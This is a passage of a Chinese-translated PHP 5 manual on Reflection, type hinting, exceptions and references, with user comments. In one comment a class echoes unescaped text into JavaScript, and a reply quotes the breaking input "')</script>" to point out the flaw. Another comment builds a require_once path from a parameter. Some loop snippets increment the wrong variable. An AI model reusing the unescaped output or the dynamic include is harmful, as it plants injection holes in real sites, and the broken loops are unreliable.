    public array getStaticVariables()
    public bool returnsReference()
    public ReflectionParameter[] getParameters()
    public int getNumberOfParameters()
    public int getNumberOfRequiredParameters()
}
?>

To introspect a method, you will first have to create an instance of the ReflectionMethod class. You can then call any of the above methods on this instance.

例子 19-35. Using the ReflectionMethod class

<?php
class Counter
{
    private static $c = 0;

    /**
     * Increment counter
     *
     * @final
     * @static
     * @access  public
     * @return  int
     */
    final public static function increment()
    {
        return ++self::$c;
    }
}

// Create an instance of the Reflection_Method class
$method = new ReflectionMethod('Counter', 'increment');

// Print out basic information
printf(
    "===> The %s%s%s%s%s%s%s method '%s' (which is %s)\n" .
    "     declared in %s\n" .
    "     lines %d to %d\n" .
    "     having the modifiers %d[%s]\n",
        $method->isInternal() ? 'internal' : 'user-defined',
        $method->isAbstract() ? ' abstract' : '',
        $method->isFinal() ? ' final' : '',
        $method->isPublic() ? ' public' : '',
        $method->isPrivate() ? ' private' : '',
        $method->isProtected() ? ' protected' : '',
        $method->isStatic() ? ' static' : '',
        $method->getName(),
        $method->isConstructor() ? 'the constructor' : 'a regular method',
        $method->getFileName(),
        $method->getStartLine(),
        $method->getEndline(),
        $method->getModifiers(),
        implode(' ', Reflection::getModifierNames($method->getModifiers()))
);

// Print documentation comment
printf("---> Documentation:\n %s\n", var_export($method->getDocComment(), 1));

// Print static variables if existant
if ($statics= $method->getStaticVariables()) {
    printf("---> Static variables: %s\n", var_export($statics, 1));
}

// Invoke the method
printf("---> Invokation results in: ");
var_dump($method->invoke(NULL));
?>

注: Trying to invoke private, protected or abstract methods will result in an exception being thrown from the invoke() method.

注: For static methods as seen above, you should pass NULL as the first argument to invoke(). For non-static methods, pass an instance of the class.

ReflectionProperty

The ReflectionProperty class lets you reverse-engineer class properties.

<?php
class ReflectionProperty implements Reflector
{
    final private __clone()
    public __construct(mixed class, string name)
    public string __toString()
    public static string export()
    public string getName()
    public bool isPublic()
    public bool isPrivate()
    public bool isProtected()
    public bool isStatic()
    public bool isDefault()
    public int getModifiers()
    public mixed getValue(stdclass object)
    public void setValue(stdclass object, mixed value)
    public ReflectionClass getDeclaringClass()
    public string getDocComment()
}
?>

注: getDocComment() was added in PHP 5.1.0.

To introspect a property, you will first have to create an instance of the ReflectionProperty class. You can then call any of the above methods on this instance.

例子 19-36. Using the ReflectionProperty class

<?php
class String
{
    public $length  = 5;
}

// Create an instance of the ReflectionProperty class
$prop = new ReflectionProperty('String', 'length');

// Print out basic information
printf(
    "===> The%s%s%s%s property '%s' (which was %s)\n" .
    "     having the modifiers %s\n",
        $prop->isPublic() ? ' public' : '',
        $prop->isPrivate() ? ' private' : '',
        $prop->isProtected() ? ' protected' : '',
        $prop->isStatic() ? ' static' : '',
        $prop->getName(),
        $prop->isDefault() ? 'declared at compile-time' : 'created at run-time',
        var_export(Reflection::getModifierNames($prop->getModifiers()), 1)
);

// Create an instance of String
$obj= new String();

// Get current value
printf("---> Value is: ");
var_dump($prop->getValue($obj));

// Change value
$prop->setValue($obj, 10);
printf("---> Setting value to 10, new value is: ");
var_dump($prop->getValue($obj));

// Dump object
var_dump($obj);
?>

注: Trying to get or set private or protected class property's values will result in an exception being thrown.

ReflectionExtension

The ReflectionExtension class lets you reverse-engineer extensions. You can retrieve all loaded extensions at runtime using the get_loaded_extensions().

<?php
class ReflectionExtension implements Reflector {
    final private __clone()
    public __construct(string name)
    public string __toString()
    public static string export()
    public string getName()
    public string getVersion()
    public ReflectionFunction[] getFunctions()
    public array getConstants()
    public array getINIEntries()
    public ReflectionClass[] getClasses()
    public array getClassNames()
}
?>

To introspect an extension, you will first have to create an instance of the ReflectionExtension class. You can then call any of the above methods on this instance.

例子 19-37. Using the ReflectionExtension class

<?php
// Create an instance of the ReflectionProperty class
$ext = new ReflectionExtension('standard');

// Print out basic information
printf(
    "Name        : %s\n" .
    "Version     : %s\n" .
    "Functions   : [%d] %s\n" .
    "Constants   : [%d] %s\n" .
    "INI entries : [%d] %s\n" .
    "Classes     : [%d] %s\n",
        $ext->getName(),
        $ext->getVersion() ? $ext->getVersion() : 'NO_VERSION',
        sizeof($ext->getFunctions()),
        var_export($ext->getFunctions(), 1),

        sizeof($ext->getConstants()),
        var_export($ext->getConstants(), 1),

        sizeof($ext->getINIEntries()),
        var_export($ext->getINIEntries(), 1),

        sizeof($ext->getClassNames()),
        var_export($ext->getClassNames(), 1)
);
?>

Extending the reflection classes

In case you want to create specialized versions of the built-in classes (say, for creating colorized HTML when being exported, having easy-access member variables instead of methods or having utility methods), you may go ahead and extend them.

例子 19-38. Extending the built-in classes

<?php
/**
* My Reflection_Method class
*/
class My_Reflection_Method extends ReflectionMethod
{
    public $visibility = '';

    public function __construct($o, $m)
    {
        parent::__construct($o, $m);
        $this->visibility= Reflection::getModifierNames($this->getModifiers());
    }
}

/**
* Demo class #1
*
*/
class T {
    protected function x() {}
}

/**
* Demo class #2
*
*/
class U extends T {
    function x() {}
}

// Print out information
var_dump(new My_Reflection_Method('U', 'x'));
?>

注: Caution: If you're overwriting the constructor, remember to call the parent's constructor _before_ any code you insert. Failing to do so will result in the following: Fatal error: Internal error: Failed to retrieve the reflection object

add a note add a note User Contributed Notes
no dot prob at gmx dot net
02-Jun-2006 04:09
I have written a function which returns the value of a given DocComment tag.

Full example:

<?php

header('Content-Type: text/plain');

class Example
{
   /**
     * This is my DocComment!
     *
     * @DocTag: prints Hello World!
     */
   public function myMethod()
   {
       echo 'Hello World!';
   }
}

function getDocComment($str, $tag = '')
{
   if (empty($tag))
   {
       return $str;
   }

   $matches = array();
   preg_match("/".$tag.":(.*)(\\r\\n|\\r|\\n)/U", $str, $matches);

   if (isset($matches[1]))
   {
       return trim($matches[1]);
   }

   return '';
}

$method = new ReflectionMethod('Example', 'myMethod');

// will return Hello World!
echo getDocComment($method->getDocComment(), '@DocTag');

?>

Maybe you can add this functionality to the getDocComment methods of the reflection classes.
dave at dgx dot cz
26-Feb-2006 03:08
answer to [russ dot collier at gmail dot com]:

ReflectionClass::getProperties() method _DOES_ return inherited properties when reflecting subclasses. Only private properties of subclasses are hidden (of course). And ReflectionClass::getMethods() _DOES_ returns inherited methods.
CodeDuck at gmx dot net
09-Feb-2006 12:07
Beware, the Reflection reflects only the information right after compile time based on the definitions, not based on runtime objects. Might be obvious, wasn't for me, until the app throws the exception at my head.

Example:

<?php

class A {
   public $a = null;

   function set() {
     $this->foo = 'bar';
   }
}

$a = new A;
$a->set();

// works fine
$Reflection = new ReflectionProperty($a, 'a');

// throws exception
$Reflection = new ReflectionProperty($a, 'foo');

?>
salsi at icosaedro dot it
26-Nov-2005 04:14
I think all the "final private" methods should be made simply "private", or maybe they might be dropped at all from the declarations.

Some __construct() methods are reported to return something, but actually they should return "void".
walter dot huijbers at gmail dot com
28-Apr-2005 08:28
The wonderfull example code of russ collier works great until using it in combination with an interface or another abstract class, wich forces to define a function or variable in the loadable dynamic class, and the loaded class doesn't implement all the abstract functions. Ofcourse the class should not be used and an error should be reported, but the reported error is a Fatal error and is impossible to catch. This way it is impossible to, for example, generate an error message displaying the name of the file from wich the class is loaded.

Having dynamicly loadable classes with a forced interface can be very usefull when working on big projects or giving third parties the ability to provide new plugins. Considering this (imho) it would be nice to provide a clean error message to the writer of the plugin.

Please correct me if I'm wrong.
russ dot collier at gmail dot com
11-Dec-2004 11:34
While this is probably obvious to many people (it wasn't to me ;-P), the ReflectionClass::getProperties() method does _NOT_ return inherited properties when reflecting subclasses.
russ dot collier at gmail dot com
20-Oct-2004 11:40
Actually, aside from my inconsistent order of keywords in the 2 factory methods ;-) the Triangle::getInstance() method has 1 glaring flaw: it never actually sets the Triangle::$instance property. The correct way to implement a Singleton this way would be to replace Triangle::getInstance() with this:

<?php

   static public function getInstance()
   {

       if ( null == self::$instance )
       {

           self::$instance = new self;

           return self::$instance;

       }

       return self::$instance;

   }

?>
russ dot collier at gmail dot com
19-Oct-2004 12:40
If you've ever wanted to do dynamic class loading in PHP5, especially when the class you're trying to dynamically load is a Singleton (and therefore you cannot use the new operator), you can do something like this example below, using the PHP5 Reflection API:

<?php

abstract class Shape
{

   static public function makeShape( $shapeName )
   {

       $shapeInstance = null;

       $shapeClass = new ReflectionClass( $shapeName );

       $shapeMethod = $shapeClass->getMethod( 'getInstance' );

       $shapeInstance = $shapeMethod->invoke( null );

       $shapeClass  = null;
       $shapeMethod = null;

       return $shapeInstance;

   }

   abstract public function doStuff();

}

class Triangle extends Shape
{

   private static $instance = null;

   private function __construct() { }

   public static function getInstance()
   {

       if ( null == self::$instance )
       {

           self::$instance = new self;

       }

       return self::$instance;

   }

   public function doStuff() { }

}

$typeOfShape = 'Triangle';

$shape = null;

try
{

   $shape = Shape::makeShape( $typeOfShape );

}
catch ( Exception $e )
{

   print "Error creating shape '$typeOfShape'! " . $e->getMessage() . "\n";

}

if ( null != $shape )
{

   // $shape will be an instance of Triangle
   $shape->doStuff();

}

?>

So by changing the value of $typeOfShape you can dynamically load the appropriate Shape subclass at runtime, thus facilitating a sort of plug-in style architecture for your classes. You can just drop in new Shape subclasses and not have to modify any of the Shape class code to support them in its factory method makeShape() :-)

If your subclasses are all in separate files, you could even make the 'including' of these files dynamic as well, by adding these lines to the Shape::makeShape() method after the $shapeInstance is initialized:

<?php

ini_set( 'include_path', ini_get( 'include_path' ) . PATH_SEPARATOR .
         '/path/to/your/php/class/include/files' );

/**
 * Assuming your subclasses are in files called 'class_$shapeName.php' :-)
 * Of course doing a dynamic require() could be a security problem depending
 * on how you validate/clean your $shapeName method parameter (if at all ;-))
 */
require_once( "class_$shapeName.php" );

?>
add a note add a note

后退 | 起点 | 前进
Comparing objects | 上一级 | Type Hinting


Type Hinting

PHP 5 introduces Type Hinting. Functions are now able to force parameters to be objects (by specifying the name of the class in the function prototype) or arrays (since PHP 5.1).

例子 19-39. Type Hinting examples

<?php
// An example class
class MyClass
{
    /**
     * A test function
     *
     * First parameter must be an object of type OtherClass
     */
    public function test(OtherClass $otherclass) {
        echo $otherclass->var;
    }

    /**
     * Another test function
     *
     * First parameter must be an array
     */
    public function test_array(array $input_array) {
        print_r($input_array);
    }
}

// Another example class
class OtherClass {
    public $var = 'Hello World';
}
?>

Failing to satisfy the type hint results in a fatal error.

<?php
// An instance of each class
$myclass = new MyClass;
$otherclass = new OtherClass;

// Fatal Error: Argument 1 must be an object of class OtherClass
$myclass->test('hello');

// Fatal Error: Argument 1 must be an instance of OtherClass
$foo = new stdClass;
$myclass->test($foo);

// Fatal Error: Argument 1 must not be null
$myclass->test(null);

// Works: Prints Hello World
$myclass->test($otherclass);

// Fatal Error: Argument 1 must be an array
$myclass->test_array('a string');

// Works: Prints the array
$myclass->test_array(array('a', 'b', 'c'));
?>

Type hinting also works with functions:

<?php
// An example class
class MyClass {
    public $var = 'Hello World';
}

/**
* A test function
*
* First parameter must be an object of type MyClass
*/
function MyFunction (MyClass $foo) {
    echo $foo->var;
}

// Works
$myclass = new MyClass;
MyFunction($myclass);
?>

Type Hints can only be of the object and array (since PHP 5.1) type. Traditional type hinting with int and string isn't supported.

add a note add a note User Contributed Notes
mega-squall at caramail dot com
16-May-2006 03:11
Type hinting cannot be used with array of instances of a given class. When submited to PHP Team, idea got this answer :

" That's impossible and never will be. But you can do that more or less yourself. Derive a class that implements ArrayAccess or reuse ArrayObject/ArrayIterator. And overload its offsetSet(). In the method body you add the check to ensure only what you want can go in. Now if that class accepts only B's (B beeing an examble classname, ndla) you may call it ArrayOfB and the use ArrayOfB as you typehint. "

This is obviously reaching the limit between "typing" and "type hinting" ...
mlovett at morpace dot com
06-Jul-2005 06:54
Type hinting works with interfaces too. In other words, you can specify the name of an interface for a function parameter, and the object passed in must implement that interface, or else type hinting throws an exception.
caliban at darklock dot com
23-Feb-2005 11:34
In case you're worried, type hinting does allow descendants. Extending the documentation example:

<?php
   // Example class
   class MyClass
   {
     public function test(OtherClass $otherclass)
     {
         if(is_callable(array($otherclass,$otherclass->var)))
         {
             $otherclass->{$otherclass->var}();
         }
         else
         {
             echo $otherclass->var;
         }
     }
   }

   // Another example class
   class OtherClass
   {
     public $var = 'Hello World';
   }

   // Yet another example class
   class DerivedClass extends OtherClass
   {
     function __construct()
     {
         $this->var="Planet";
     }

     public function Planet()
     {
         echo "Hello ".$this->var;
     }
   }

   $myclass = new MyClass;
   $otherclass = new OtherClass;
   $derivedclass = new DerivedClass;

   // Works - prints "Hello World"
   $myclass->test($otherclass);

   // Works - calls DerivedClass::Planet()
   //    which prints "Hello Planet"
   $myclass->test($derivedclass);
?>
add a note add a note

后退 | 起点 | 前进
Reflection | 上一级 | 异常处理


异常处理

PHP 手册
后退 前进

章 20. 异常处理

目录
扩展 PHP 内置的异常处理类

PHP 5 添加了类似于其它语言的异常处理模块，可以在 PHP 内检测（try）、抛出（throw）和捕获（catch）异常。一个 try 至少要有一个与之对应的 catch。定义多个 catch 可以捕获不同的对象。PHP 会按这些 catch 被定义的顺序执行，直到完成最后一个为止。而在这些 catch 内，又可以抛出新的异常。

当一个异常被抛出时，其后（译者注：指抛出异常时所在的代码块）的代码将不会继续执行，而 PHP 就会尝试查找第一个能与之匹配的 catch。如果一个异常没有被捕获，而且又没用使用 set_exception_handler() 作相应的处理的话，那么 PHP 将会产生一个严重的错误，并且输出未能捕获异常的提示信息。

例子 20-1. 抛出一个异常

<?php
try {
    $error = 'Always throw this error';
    throw new Exception($error);

    // 从这里开始，tra 代码块内的代码将不会被执行
    echo 'Never executed';

} catch (Exception $e) {
    echo 'Caught exception: ',  $e->getMessage(), "\n";
}

// 继续执行
echo 'Hello World';
?>

扩展 PHP 内置的异常处理类

用户可以用自定义的异常处理类来扩展 PHP 内置的异常处理类。以下的代码说明了在内置的异常处理类中，哪些属性和方法在子类中是可访问和可继承的。译者注：以下这段代码只为说明内置异常处理类的结构，它并不是一段有实际意义的可用代码。

例子 20-2. 内置的异常处理类

<?php
class Exception
{
    protected $message = 'Unknown exception';   // 异常信息
    protected $code = 0;                        // 用户自定义异常代码
    protected $file;                            // 发生异常的文件名
    protected $line;                            // 发生异常的代码行号

    function __construct($message = null, $code = 0);

    final function getMessage();                // 返回异常信息
    final function getCode();                   // 返回异常代码
    final function getFile();                   // 返回发生异常的文件名
    final function getLine();                   // 返回发生异常的代码行号
    final function getTrace();                  // backtrace() 数组
    final function getTraceAsString();          // 已格成化成字符串的 getTrace() 信息

    /* 可重载的方法 */
    function __toString();                       // 可输出的字符串
}
?>

如果使用自定义的类来扩展内置异常处理类，并且要重新定义构造函数的话，建议同时调用 parent::__construct() 来检查所有的变量是否已被赋值。当对象要输出字符串的时候，可以重载 __toString() 并自定义输出的样式。

例子 20-3. 扩展 PHP 内置的异常处理类

<?php
/**
* 自定义一个异常处理类
*/
class MyException extends Exception
{
    // 重定义构造器使 message 变为必须被指定的属性
    public function __construct($message, $code = 0) {
        // 自定义的代码

        // 确保所有变量都被正确赋值
        parent::__construct($message, $code);
    }

    // 自定义字符串输出的样式 */
    public function __toString() {
        return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
    }

    public function customFunction() {
        echo "A Custom function for this type of exception\n";
    }
}

/**
* 创建一个用于测试异常处理机制的类
*/
class TestException
{
    public $var;

    const THROW_NONE    = 0;
    const THROW_CUSTOM  = 1;
    const THROW_DEFAULT = 2;

    function __construct($avalue = self::THROW_NONE) {

        switch ($avalue) {
            case self::THROW_CUSTOM:
                // 抛出自定义异常
                throw new MyException('1 is an invalid parameter', 5);
                break;

            case self::THROW_DEFAULT:
                // 抛出默认的异常
                throw new Exception('2 isnt allowed as a parameter', 6);
                break;

            default:
                // 没有异常的情况下，创建一个对象
                $this->var = $avalue;
                break;
        }
    }
}

// 例子 1
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (MyException $e) {      // 捕获异常
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // 被忽略
    echo "Caught Default Exception\n", $e;
}

// 执行后续代码
var_dump($o);
echo "\n\n";

// 例子 2
try {
    $o = new TestException(TestException::THROW_DEFAULT);
} catch (MyException $e) {      // 不能匹配异常的种类，被忽略
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // 捕获异常
    echo "Caught Default Exception\n", $e;
}

// 执行后续代码
var_dump($o);
echo "\n\n";

// 例子 3
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (Exception $e) {        // 捕获异常
    echo "Default Exception caught\n", $e;
}

// 执行后续代码
var_dump($o);
echo "\n\n";

// 例子 4
try {
    $o = new TestException();
} catch (Exception $e) {        // 没有异常，被忽略
    echo "Default Exception caught\n", $e;
}

// 执行后续代码
var_dump($o);
echo "\n\n";
?>

add a note add a note User Contributed Notes
14-May-2006 07:49
@armenio at inmidiaweb dot com dot br:
When echoing into JavaScript code must use htmlspecialchars(addslashes($this->msg)) - think what would happen if msg was "')</script>";
armenio at inmidiaweb dot com dot br
11-May-2006 04:23
<?php
class alert{

   public $return;
   public $msg;

   public function __construct($value){
       $this->msg = $value;
   }
   public function OutPut(){
       $this->return  = '<script language="JavaScript">';
       $this->return .= '    alert("'.$this->msg.'")';
       $this->return .= '</script>';
       return $this->return;
   }
}
$msg = new alert('classe criada com sucesso');
$msg->OutPut();
?>
fjoggen at gmail dot com
27-Apr-2006 04:58
This code will turn php errors into exceptions:

<?php
function exceptions_error_handler($severity, $message, $filename, $lineno) {
   throw new ErrorException($message, 0, $severity, $filename, $lineno);
}

set_error_handler('exceptions_error_handler');
?>

However since <?php set_error_handler()?> doesn't work with fatal errors, you will not be able to throw them as Exceptions.
gerry03 at 4warding dot com
14-Nov-2005 01:39
Good PHP5 article about exceptions. I have read quite a few now and this is the only one I've liked:

http://www.andreashalter.ch/phpug/20040115/
Carlos Konstanski
30-Sep-2005 01:17
Being able to catch the exception up the call stack from where it is thrown is a good idea, in that it lets you handle the exception closer to where it ought to be handled - in the calling code.  Not as good as common lisp though, where you can call a condition handler that resides up the stack without actually unwinding the stack.  With this additional feature, you have the lexical environment at the point where the exception occured, combined with the relocation of the handler to a place where the lower-level function's failure can be addressed from the standpoint of the calling code.

Even so, this fluke of PHP that lets you place the try...catch block up the stack from the actual point of error could be used to implement a neat shift in error-handling architecture, where the caller gets to decide how to proceed after an error.
jd at wuputah dot com
07-May-2005 10:15
PHP5 supports exception throwing inside a function, and catching it outside that function call. There is no mention of this in documentation but it works just fine, as tested by this sample code:

<?php

function exceptionFunction() {
       throw new Exception("Throwing an exception!");
}

try {
       exceptionFunction();
} catch (Exception $e) {
       echo "Exception caught!\n";
}

?>

The result in PHP 5.0.3 is "Exception caught!"

Further tests show that nested functions with exceptions, methods throwing exceptions, etc all work the same way. This is like declaring all classes (or methods) in Java as "class ClassName throws Exception". While I consider this a good thing, you should be aware that any thrown exception will propagate up your stack until it is either caught or runs out of stack.
ravindra at gatewaytechnolabs dot com
29-Oct-2004 04:34
<?php
/*I add here example for nested Exception Handling.*/
 try
 {
   try
   {
     throw new exception();
   }
   catch(exception $m)
   {
   print $m;
   print "<br>";
   print "inner exception"."<br>";
   }
   throw new exception();
 }
 catch(exception $e)
 {
  print $e;
  print "outer exception";
 }
 ?>
gomikochar at yahoo dot com
10-Oct-2004 10:00
To re-throw an exception, you must specify the name of the variable after throw in the catch block, i.e.,

<?php

try {
  try {
   throw new Exception("Unknown error");
  }
  catch (Exception $ie) {  // Inner Catch Block
   throw;  // this will NOT work; parse error
   throw $ie;  // this will re-throw the exception to the outer catch block
  }
}
catch (Exception $oe) {  // Outer Catch Block
  echo $oe;
}

?>
php5 at grapio dot nl
07-Oct-2004 09:16
The base exception class, which is build in PHP5 has also a function getLine(). This is as expected if you look at the class define. But it is not noticed there.
I had just this code:
<?php
try
{
     throw new Exception("test")
}
catch (Exception $e)
{
  echo $e->getLine()
}
?>
And this worked.
ravindra at gatewaytechnolabs dot com
01-Oct-2004 07:23
Like Java php5 also supports nesting of try catch.
moirae at centrum dot cz
21-Aug-2004 09:16
Really good article about exceptions in php5: http://www.zend.com/php5/articles/php5-exceptions.php
add a note add a note

后退 | 起点 | 前进
Type Hinting | 上一级 | 引用的解释


引用的解释

PHP 手册
后退 前进

章 21. 引用的解释

目录
引用是什么
引用做什么
引用不是什么
引用传递
引用返回
取消引用
引用定位

引用是什么

在 PHP 中引用意味着用不同的名字访问同一个变量内容。这并不像 C 的指针，替代的是，引用是符号表别名。注意在 PHP 中，变量名和变量内容是不一样的，因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身――变量名是目录条目，而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接。

add a note add a note User Contributed Notes
Xor
02-Mar-2006 11:43
if given little - passing an array by reference slower than by value,
but not if it is necessary to process much data.

function test_ref(&$arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x .= $arr[$n];
   }
   return $x;
}

function test_val($arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x .= $arr[$n];
   }
   return $x;
}

// fill array
for($n=0; $n<500000; $n++) {
   $ar[] = "test".$n;
}
$Bs = array_sum(explode(' ', microtime()));
test_ref($ar);
echo "<br />The function using a reference took ".(array_sum(explode(' ', microtime()))-$Bs);
$Bs = array_sum(explode(' ', microtime()));
test_val($ar);
echo "<br />The funktion using a value took: ".(array_sum(explode(' ', microtime()))-$Bs);

The function using a reference took 10.035583019257
The funktion using a value took: 10.531390190125
Ed
23-Jan-2006 03:29
Responding to Slava Kudinov.  The only reason why your script takes longer when you pass by reference is that you do not at all modify the array that your passing to your functions.  If you do that the diffrences in execution time will be a lot smaller.  In fact  passing by reference will be faster if just by a little bit.
Slava Kudinov <skudinov gmail com>
22-Jan-2006 06:01
In addition to the "array vs &array" example below, php 5.1.2. It seems passing an array by reference slower than by value, consider:
<?php
function test_ref(&$arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }
}

function test_val($arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }
}

// fill array
for($n=0; $n<2000; $n++) {
   $ar[] = "test".$n;
}
$time = microtime();
test_ref($ar);
echo "<br />The function using a reference took ".(microtime() - $time)." s";
$time = microtime();
test_val($ar);
echo "<br />The funktion using a value took: ".(microtime() - $time)." s";
echo "<br />Done";
?>
output:
The function using a reference took 0.002694 s
The funktion using a value took: 0.000847 s
cesoid at yahoo dot com
11-Dec-2005 10:28
Responding to post from nathan (who was responding to iryoku).

It is important to note the difference between what php is doing from the programmer's point of view and what it is doing internally. The note that nathan refers to, about how (for example) $something = $this makes a "copy" of the current object, is talking about making a "copy" from the programmer's perspective. That is, for the programmer, for all practical purposes, $something is a copy, even if internally nothing has been copied yet. For example, changing the data in member $something->somethingVar will not change your current object's data (i.e. it will not change $this->somethingVar).

What it does internally is a totally different story. I've tested  "copying" an object which contains a 200,000 element array, it takes almost no time at all until you finally change something in one of the copies, because internally it only makes the copy when it becomes necessary. The original assignment takes less than a millisecond, but when I alter one of the copies, it takes something like a quarter of a second. But this only happens if I alter the 200,000 element array, if I alter a single integer of the object, it takes less than a microsecond again, so the interpretter seems to be smart enough to make copies of some of the objects variables and not others.

The result is that when you change a function to pass by reference, it will only become more efficient if, inside the function, the passed variable is having its data altered, in which case passing by reference causes your code to alter the data of the original copy. If you are passing an object and calling a function in that object, that function may alter the object without you even knowing, which means that you should pass an object by reference as long as it is ok for the original copy to be effected by what you do with the object inside the function.

I think the real moral of the story is this:
1) Pass by reference anything that should refer to and affect the original copy.
2) Pass not by reference things that will definitely not be altered in the function (for an object, it may be impossible to know whether it alters itself upon calling one of its functions).
3) If something needs to be altered inside a function without effecting the original copy, pass it not by reference, and pass the smallest practical part that needs to change, rather than passing, for example, a huge array of which one little integer will be altered.

Or a shorter version: Only pass things by reference when you need to refer to the original copy! (And don't pass huge arrays or long strings when you need to change just a small part of them!)
mramirez (at) star (minus) dev (dot) com
13-Oct-2005 12:10
For php programmers that come from pascal,
in object pascal (delphi),
variable references are used with the "absolute" keyword.

PHP example:

<?php

global $myglobal;

$myglobal = 5;

function test()
{
global $myglobal;

/*local*/ $mylocal =& $myglobal;

echo "local: " . $mylocal . "\n";
echo "gloal: " . $myglobal . "\n";
}

test();

?>

Pascal example:

program dontcare;

var myglobal: integer;

procedure test;
var mylocal ABSOLUTE myglobal;
begin
  write("local: ", mylocal);
  write("global: ", myglobal);
end;

begin
  myglobal := 5;
  test;
end.

By the way, a "local" keyword in php for local variables,
could be welcome :-)
y007pig at yahoo dot com dot cn
07-Oct-2005 02:02
In reply to pike at kw dot nl, '&' is only apply to PHP 4.
PHP 5 changed the behavior and the object is defaultly passed by references and if you turn on E_STRICT, you will get a notice:
Strict Standards: Assigning the return value of new by reference is deprecated in xxxx
If you want to *copy* object in PHP 5, use object clone.
pike at kw dot nl
01-Oct-2005 09:08
if your object seems to "forget" assignments you make after instantiation, realize that in

$foo = new Bar()

the variable on the left hand is a *copy* of the variable on the right hand. As a result, & references made during instantiation may point to the righthandside version of Bar() and not to $foo. you'd better use

$foo = & new Bar()
php at REMOVEMEkennel17 dot co dot uk
24-Aug-2005 09:56
I found a very useful summary of how references work in PHP4 (and some of the common pitfalls) in this article: http://www.obdev.at/developers/articles/00002.html

It deals with some subtle situations and I recommend it to anyone having difficulty with their references.
grayson at uiuc dot edu
12-Aug-2005 11:59
I found a subtle feature of references that caused a bug in one of my PHP applications.  In short, if an object passes one of its members to an external function that takes a reference as an argument, the external function can turn that member into a reference to an anonymous point in memory.

Why is this a problem?  Later, when you copy the object with $a = $b, the copy and the original share memory.

Solution: If you want to have a function that uses references to modify a member of your object, your object should never pass the member to the function directly. It should first make a copy of the member. Then give that copy to the function.  Then copy the new value of that copy in to your original object member.

Below is some code that can reporoduce the this feature and demonstrate the workaround.

function modify1 ( &$pointer_obj ){
  $pointer_obj->property = 'Original Value';
}

function modify2 ( &$pointer_obj ){
  $newObj->property = 'Original Value';
  $pointer_obj = $newObj;
}

class a {
  var $i;  # an object with properties

  function corrupt1(){
   modify1 ($this->i);
  }

  function doNotCorrupt1(){
   $tmpi = $this->i;
   modify1 ($tmpi);
   $this->i = $tmpi;
  }

  function corrupt2(){
   modify2 ($this->i);
  }

  function doNotCorrupt2(){
   $tmpi = $this->i;
   modify2 ($tmpi);
   $this->i = $tmpi;
  }

}

$functions = array ('corrupt1', 'corrupt2', 'doNotCorrupt1', 'doNotCorrupt2');

foreach ($functions as $func){

  $original = new a;

  ### Load some data in to the orginal with one of the four $functions
  $original->$func();

  $copy = $original;

  $copy->i->property = "Changed after the copy was made.";

  echo "\n{$func}: \$original->i->property = '" . $original->i->property . "'";
}

The script generates output:

corrupt1: $original->i->property = 'Changed after the copy was made.'
corrupt2: $original->i->property = 'Changed after the copy was made.'
doNotCorrupt1: $original->i->property = 'Original Value'
doNotCorrupt2: $original->i->property = 'Original Value'
rlynch at lynchmarks dot com
18-May-2005 05:51
And, further...

<?php
   $intSize = sizeof($arrData);

   for($i = 0; $i < $intSize; $n++) {
       // Do stuff
   }
?>

Can be shortened even further by using the often overlooked 'decrement until zero' concept.  I don't much like decrementing to get a job done, but it can make a lot of sense when the evaluation-of-doneness is time-costly:

<?php
   for($i = sizeof($arrData); $i-- > 0 ; ) {
       // Do stuff
   }
?>

One less variable to toss on the heap.  NOTE that rather inconveniently, the $i goes to and hits zero only in the case where it starts out positive.  When it is zero to begin with, it will become -1.  Bug or feature?  I've used it as a feature as a quick test of whether the $arrData array was empty to begin with.  If you don't plan on using $i after the loop for anything, it makes no difference.

If you need to be doing something ascending-sequential though, then the temporary variable suggestions that others have made makes the most sense.

Finally (and important) ... if the $arrData array is somehow being dynamically modified in size due to the //Do-Stuff routine underneath, then you may have little-to-no recourse except to use the sizeof() method/function in the loop.  Or, keep up the temporary variable in the loop as you push and pop things into and off the array.

(sigh... this is the notable failing of deeply linked internal data structures: to figure out the size of any linked list of arbitrarily composed elements, the entire array needs to be "walked" every time the sizeof() or count() method is used.  But compared to the flexibility of associative arrays, the cost is mitigated by careful use.)

GoatGuy
nslater at gmail dot com
16-Mar-2005 11:12
In addition to the note made by "Francis dot a at gmx dot net" you should not normally be using a function such as sizeof() or count() in a control structure such as FOR because the same value is being calculated repeatedly for each iteration. This can slow things down immensely, regardless of whether you pass by value or reference.

It is generally much better to calculate the static values before the defining the looping control structure.

Example:

<?php

$intSize = sizeof($arrData);

for($i = 0; $i < $intSize; $n++) {
   // Do stuff
}

?>
Carlos
15-Mar-2005 04:09
in the example below, you would get the same result if you change the function to something like:

function test_ref(&$arr) {
   $time = time();
   $size = sizeof($arr);      // <--- this makes difference...
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }

   echo "<br />The function using a reference took ".(time() - $time)." s";
}
Francis dot a at gmx dot net
10-Feb-2005 02:53
I don't know if this is a bug (I'm using PHP 5.01) but you should be careful when using  references on arrays.
I had a for-loop that was incredibly slow and it took me some time to find out that most of the time was wasted with the  function sizeof() at every loop, and even more time I spent  finding out that this problem it must be somehow related to the fact, that I used a reference of the array. Take a look at the following example:

function test_ref(&$arr) {
   $time = time();
   for($n=0; $n<sizeof($arr); $n++) {
       $x = 1;
   }
   echo "<br />The function using a reference took ".(time() - $time)." s";
}

function test_val($arr) {
   $time = time();
   for($n=0; $n<sizeof($arr); $n++) {
       $x = 1;
   }
   echo "<br />The funktion using a value took: ".(time() - $time)." s";
}

// fill array
for($n=0; $n<2000; $n++) {
   $ar[] = "test".$n;
}

test_ref($ar);
test_val($ar);
echo "<br />Done";

When I tested it, the first function was done after 9 seconds, while the second (although the array must be copied) was done in not even one.

The difference is inproportional smaller when the array size is reduced:
When using 1000 loops the first function was running for 1 second, when using 4000 it wasn't even done after 30 Seconds.
jw at jwscripts dot com
16-Oct-2004 08:18
